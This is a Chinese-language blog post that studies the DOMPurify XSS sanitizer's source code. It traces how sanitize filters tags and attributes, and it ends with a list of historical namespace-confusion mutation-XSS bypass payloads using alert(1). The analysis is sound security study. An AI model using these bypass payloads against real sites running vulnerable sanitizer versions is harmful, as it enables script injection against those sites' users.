DOMPurify源码小探究
0x00 DOMPurify 介绍
DOMPurify是一个开源的基于DOM的快速XSS净化工具。输入HTML元素,然后通过DOM解析递归元素节点,进行净化,输出安全的HTML。
github地址:https://github.com/cure53/DOMPurify
现在最新版本:2.2.8
0x01 常见使用
1 | const createDOMPurify = require('dompurify'); |
这段代码最后输出 <img src="x">
DOMPurify.sanitize 函数是最常见的用法,也可以接两个参数,第二个参数位为相关配置。可参考官方文档。
0x02 调试探究
DOMPurify使用到了ES6中语法,我打算通过webstorm使用node进行调试,所以还需要一些操作,如下(可参考:Node.js 中使用 ES6 中的 import / export 的方法大全):
将此目录的下的代码
https://github.com/cure53/DOMPurify/tree/main/src
全部拉下来,后缀名改成mjs。自己的main.js代码为
1
2
3
4
5
6import createDOMPurify from "./DOMPurify-main/src/purify.mjs";
import JSDOM from 'jsdom';
const window = new JSDOM.JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const html = "<img/src=x onerror=alert(1)>";
console.log(DOMPurify.sanitize(html));node添加启动参数–experimental-modules
0x03 sanitize代码跟进
主要代码
跟进分析santize函数主要代码:
1 | const nodeIterator = _createIterator(IN_PLACE ? dirty : body); |
dirty 为待净化的对象,即我们输入的数据。
- 首先通过
_createIterator
函数以及while ((currentNode = nodeIterator.nextNode()))
,会将输入元素转化成逐个的HTMLelement 元素。如<img src=x><svg src=x>
会转成img和svg两个元素 - 然后进入while的body进行操作,此时currentNode即img和svg元素。
- 会有两个净化操作,一个是
_sanitizeElements
,一个是_sanitizeAttributes
。 _sanitizeElements
函数,顾名思义,即净化标签_sanitizeAttributes
即净化标签的属性
_sanitizeElements函数
1 | /* Check if tagname contains Unicode */ |
标签名字包含unicode字符的,直接移除。然后标签名同一转成小写。
1 | if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) { |
过滤不在白名单的标签,白名单在tags.js。
1 | export const html = freeze([ |
1 | /* Check whether element has a valid namespace */ |
校验命名空间,曾经有过bypass,下面还有个对noscript标签的校验操作,感觉有点多余,因为不在白名单里,已经在上面就被remove了。
_sanitizeAttributes函数
首先不管是什么属性,都直接从当前currentNode remove。
1 | if (hookEvent.forceKeepAttr) { |
然后根据标签名,还有属性名,属性的值进行一个_isValidAttribute
的判断。
1 | const lcTag = currentNode.nodeName.toLowerCase(); |
如果是合法的attr,则调用setAttribute方法将attr进行还原。
关键的_isValidAttribute
函数。 可以调试尝试绕过….nice try….
1 | if (ALLOW_DATA_ATTR && regExpTest(DATA_ATTR, lcName)) { |
0x04 历史Bypass
可以在pull requests 和 releases的更新日志找到, 如:
混淆命名空间绕过:https://github.com/cure53/DOMPurify/pull/495
payloads:
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=1 onerror=alert(1)>">
<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(\'XSS\') src>">